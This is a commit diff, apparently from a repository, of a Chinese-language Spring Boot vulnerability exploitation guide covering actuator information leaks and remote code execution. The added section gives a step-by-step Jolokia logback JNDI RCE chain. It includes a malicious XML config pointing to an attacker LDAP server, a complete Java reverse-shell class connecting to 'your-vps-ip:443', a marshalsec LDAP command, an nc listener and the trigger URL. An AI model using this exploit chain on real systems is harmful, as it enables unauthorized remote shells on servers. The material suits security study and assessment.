1
- # SpringBoot 漏洞利用及技巧
1
+ # Spring Boot Vulnerability Exploit
2
2
3
3
SpringBoot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全评估 checklist
4
4
5
5
6
6
7
7
## 零:路由知识
8
8
9
- - Spring 1.x 的路由通常以根目录 ` / ` 开始,2.x 统一以 ` /actuator ` 作为根路径
9
+ - Spring 1.x 相关 ` / ` 开始,2.x 统一以 ` /actuator ` 作为根路径
10
10
- 有些程序员会自定义 ` /manage ` 、` /management ` 或 ** 项目相关名称** 为根路径
11
11
- 默认端点名字,如 ` /env ` 有时候也会被程序员修改,如修改成 ` /appenv `
12
12
13
13
14
14
15
+
16
+
15
17
## 一:信息泄露
16
18
17
19
### 0x01:路由地址及接口调用详情泄漏
@@ -54,7 +56,9 @@ SpringBoot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全
54
56
55
57
56
58
57
- ** 一般来讲,知道 springboot 应用的相关接口和传参信息并不能算是漏洞** ;但是可以检查暴露的接口是否存在未授权访问、越权或者其他业务型漏洞。
59
+ ** 一般来讲,知道 springboot 应用的相关接口和传参信息并不能算是漏洞** ;
60
+
61
+ 但是可以检查暴露的接口是否存在未授权访问、越权或者其他业务型漏洞。
58
62
59
63
60
64
@@ -100,7 +104,7 @@ SpringBoot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全
100
104
101
105
- /env
102
106
103
- GET 请求 ` /env ` 会泄露环境变量信息,或者配置中的一些用户名(偶尔会泄露密码明文) ;
107
+ GET 请求 ` /env ` 会泄露环境变量信息,或者配置中的一些用户名,当程序员的属性名命名不规范 (例如 password 写成 psasword) 时,会泄露密码明文 ;
104
108
105
109
同时有一定概率可以通过 POST 请求 ` /env ` 接口设置一些属性,触发相关 RCE 漏洞。
106
110
@@ -122,7 +126,7 @@ SpringBoot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全
122
126
123
127
## 二:远程代码执行
124
128
125
- > 由于 springboot 很多漏洞是多方面的组件原因导致的 ,所以有些漏洞名字起的不太正规,能区分即可。
129
+ > 由于 spring boot 相关漏洞可能是多个组件漏洞组合导致的 ,所以有些漏洞名字起的不太正规,以能区分为准
126
130
127
131
128
132
@@ -216,8 +220,8 @@ Content-Type: application/json
216
220
217
221
#### ** 漏洞原理:**
218
222
219
- 1 . spring.cloud.bootstrap.location 属性被设置为外部恶意 yml 文件 url 地址
220
- 2 . refresh 触发受害机器请求远程 HTTP 服务器上的 yml 文件,获得其内容
223
+ 1 . spring.cloud.bootstrap.location 属性被设置为外部恶意 yml 文件 URL 地址
224
+ 2 . refresh 触发目标机器请求远程 HTTP 服务器上的 yml 文件,获得其内容
221
225
3 . SnakeYAML 由于存在反序列化漏洞,所以解析恶意 yml 内容时会完成指定的动作
222
226
4 . 先是触发 java.net.URL 去拉取远程 HTTP 服务器上的恶意 jar 文件
223
227
5 . 然后是寻找 jar 文件中实现 javax.script.ScriptEngineFactory 接口的类并实例化
@@ -246,9 +250,9 @@ Content-Type: application/json
246
250
247
251
#### ** 利用方法:**
248
252
249
- ##### 步骤一:架设响应恶意 xstream payload 的网站
253
+ ##### 步骤一:架设响应恶意 XStream payload 的网站
250
254
251
- 下面是一个依赖 Flask 的符合要求的 python 脚本示例,作用是利用目标 Linux 机器上自带的 python 来反弹shell:
255
+ 下面是一个依赖 Flask 的符合要求的 [ python 脚本示例] ( https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-xstream-rce.py ) ,作用是利用目标 Linux 机器上自带的 python 来反弹shell:
252
256
253
257
``` python
254
258
# !/usr/bin/env python
@@ -316,7 +320,17 @@ if __name__ == "__main__":
316
320
317
321
318
322
319
- ##### 步骤二:设置 eureka.client.serviceUrl.defaultZone 属性
323
+ ##### 步骤二:监听反弹 shell 的端口
324
+
325
+ 一般使用 nc 监听端口,等待反弹 shell
326
+
327
+ ``` bash
328
+ nc -lvp 443
329
+ ```
330
+
331
+
332
+
333
+ ##### 步骤三:设置 eureka.client.serviceUrl.defaultZone 属性
320
334
321
335
spring 1.x
322
336
@@ -338,7 +352,7 @@ Content-Type: application/json
338
352
339
353
340
354
341
- ##### 步骤三 :刷新配置
355
+ ##### 步骤四 :刷新配置
342
356
343
357
spring 1.x
344
358
@@ -361,7 +375,7 @@ Content-Type: application/json
361
375
#### ** 漏洞原理:**
362
376
363
377
1 . eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL 地址
364
- 2 . refresh 触发受害机器请求远程 URL,提前架设的 fake eureka server 就会返回恶意的 payload
378
+ 2 . refresh 触发目标机器请求远程 URL,提前架设的 fake eureka server 就会返回恶意的 payload
365
379
3 . 目标机器相关组件解析 payload,触发 XStream 反序列化,造成 RCE 漏洞
366
380
367
381
@@ -374,14 +388,190 @@ Content-Type: application/json
374
388
375
389
376
390
377
- ### 0x04:reload logback.xml JNDI RCE
391
+ ### 0x04:Jolokia logback JNDI RCE
392
+
393
+ #### ** 利用条件:**
394
+
395
+ - 目标网站存在 ` /jolokia ` 或 ` /actuator/jolokia ` 接口
396
+ - 目标使用了 jolokia-core 组件(版本要求暂未知)并且环境中存在相关 MBean
397
+ - 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
398
+
399
+
400
+
401
+ #### ** 利用方法:**
402
+
403
+ ##### 步骤一:查看已存在的 MBeans
404
+
405
+ 访问 ` /jolokia/list ` 接口,查看是否存在 ` ch.qos.logback.classic.jmx.JMXConfigurator ` 和 ` reloadByURL ` 关键词。
406
+
407
+
408
+
409
+ ##### 步骤二:托管 xml 文件
410
+
411
+ 在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)
412
+
413
+ ``` bash
414
+ # 使用 python 快速开启 http server
415
+
416
+ python2 -m SimpleHTTPServer 80
417
+ python3 -m http.server 80
418
+ ```
419
+
420
+
421
+
422
+ 在根目录放置以 ` xml ` 结尾的 ` example.xml ` 文件,内容如下:
423
+
424
+ ``` xml
425
+ <configuration >
426
+ <insertFromJNDI env-entry-name =" ldap://your-vps-ip:1389/JNDIObject" as =" appName" />
427
+ </configuration >
428
+ ```
429
+
430
+
431
+
432
+ ##### 步骤三:准备要执行的 Java 代码
433
+
434
+ 编写优化过后的用来反弹 shell 的 [ Java 示例代码] ( https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java ) ` JNDIObject.java ` ,内容如下:
435
+
436
+ ``` java
437
+ import java.io.File ;
438
+ import java.io.InputStream ;
439
+ import java.io.OutputStream ;
440
+ import java.net.Socket ;
441
+
442
+ public class JNDIObject {
443
+ static {
444
+ try {
445
+ String ip = " your-vps-ip" ;
446
+ String port = " 443" ;
447
+ String py_path = null ;
448
+ String [] cmd;
449
+ if (! System . getProperty(" os.name" ). toLowerCase(). contains(" windows" )) {
450
+ String [] py_envs = new String []{" /bin/python" , " /bin/python3" , " /usr/bin/python" , " /usr/bin/python3" , " /usr/local/bin/python" , " /usr/local/bin/python3" };
451
+ for (int i = 0 ; i < py_envs. length; ++ i) {
452
+ String py = py_envs[i];
453
+ if ((new File (py)). exists()) {
454
+ py_path = py;
455
+ break ;
456
+ }
457
+ }
458
+ if (py_path != null ) {
459
+ if ((new File (" /bin/bash" )). exists()) {
460
+ cmd = new String []{py_path, " -c" , " import pty;pty.spawn(\" /bin/bash\" )" };
461
+ } else {
462
+ cmd = new String []{py_path, " -c" , " import pty;pty.spawn(\" /bin/sh\" )" };
463
+ }
464
+ } else {
465
+ if ((new File (" /bin/bash" )). exists()) {
466
+ cmd = new String []{" /bin/bash" };
467
+ } else {
468
+ cmd = new String []{" /bin/sh" };
469
+ }
470
+ }
471
+ } else {
472
+ cmd = new String []{" cmd.exe" };
473
+ }
474
+ Process p = (new ProcessBuilder (cmd)). redirectErrorStream(true ). start();
475
+ Socket s = new Socket (ip, Integer . parseInt(port));
476
+ InputStream pi = p. getInputStream();
477
+ InputStream pe = p. getErrorStream();
478
+ InputStream si = s. getInputStream();
479
+ OutputStream po = p. getOutputStream();
480
+ OutputStream so = s. getOutputStream();
481
+ while (! s. isClosed()) {
482
+ while (pi. available() > 0 ) {
483
+ so. write(pi. read());
484
+ }
485
+ while (pe. available() > 0 ) {
486
+ so. write(pe. read());
487
+ }
488
+ while (si. available() > 0 ) {
489
+ po. write(si. read());
490
+ }
491
+ so. flush();
492
+ po. flush();
493
+ Thread . sleep(50L );
494
+ try {
495
+ p. exitValue();
496
+ break ;
497
+ } catch (Exception e) {
498
+ }
499
+ }
500
+ p. destroy();
501
+ s. close();
502
+ }catch (Throwable e){
503
+ e. printStackTrace();
504
+ }
505
+ }
506
+ }
507
+ ```
508
+
509
+
510
+
511
+ 使用兼容低版本 jdk 的方式编译:
512
+
513
+ ``` bash
514
+ javac -source 1.5 -target 1.5 JNDIObject.java
515
+ ```
516
+
517
+ 然后将生成的 ` JNDIObject.class ` 文件拷贝到 ** 步骤二** 中的网站根目录。
518
+
519
+
520
+
521
+ ##### 步骤四:架设恶意 ldap 服务
522
+
523
+ 下载 [ marshalsec] ( https://github.com/mbechler/marshalsec ) ,使用下面命令架设对应的 ldap 服务:
524
+
525
+ ``` bash
526
+ java -jar marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/# JNDIObject 1389
527
+ ```
528
+
529
+
530
+
531
+ ##### 步骤五:监听反弹 shell 的端口
532
+
533
+ 一般使用 nc 监听端口,等待反弹 shell
534
+
535
+ ``` bash
536
+ nc -lvp 443
537
+ ```
538
+
539
+
540
+
541
+ ##### 步骤六:从外部 URL 地址加载日志配置文件
542
+
543
+ 替换实际的 your-vps-ip 地址访问 URL 触发漏洞:
544
+
545
+ ```
546
+ /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml
547
+ ```
548
+
549
+
550
+
551
+ #### ** 漏洞原理:**
552
+
553
+ 1 . 直接访问可触发漏洞的 URL,相当于通过 jolokia 调用 ` ch.qos.logback.classic.jmx.JMXConfigurator ` 类的 ` reloadByURL ` 方法
554
+ 2 . 目标机器请求外部日志配置文件 URL 地址,获得恶意 xml 文件内容
555
+ 3 . 目标机器使用 saxParser.parse 解析 xml 文件 (这里导致了 xxe 漏洞)
556
+ 4 . xml 文件中利用 logback 组件的 ` insertFormJNDI ` 标签,设置了外部 JNDI 服务器地址
557
+ 5 . 目标机器请求恶意 JNDI 服务器,导致 JNDI 注入,造成 RCE 漏洞
558
+
559
+
560
+
561
+ #### ** 漏洞分析:**
562
+
563
+ [ spring boot actuator rce via jolokia] ( https://xz.aliyun.com/t/4258 )
564
+
565
+
378
566
379
567
380
568
381
569
### 0x05:h2 database query RCE
382
570
383
571
384
572
573
+
574
+
385
575
### 0x06:jdbc url deserialization RCE
386
576
387
577
0 commit comments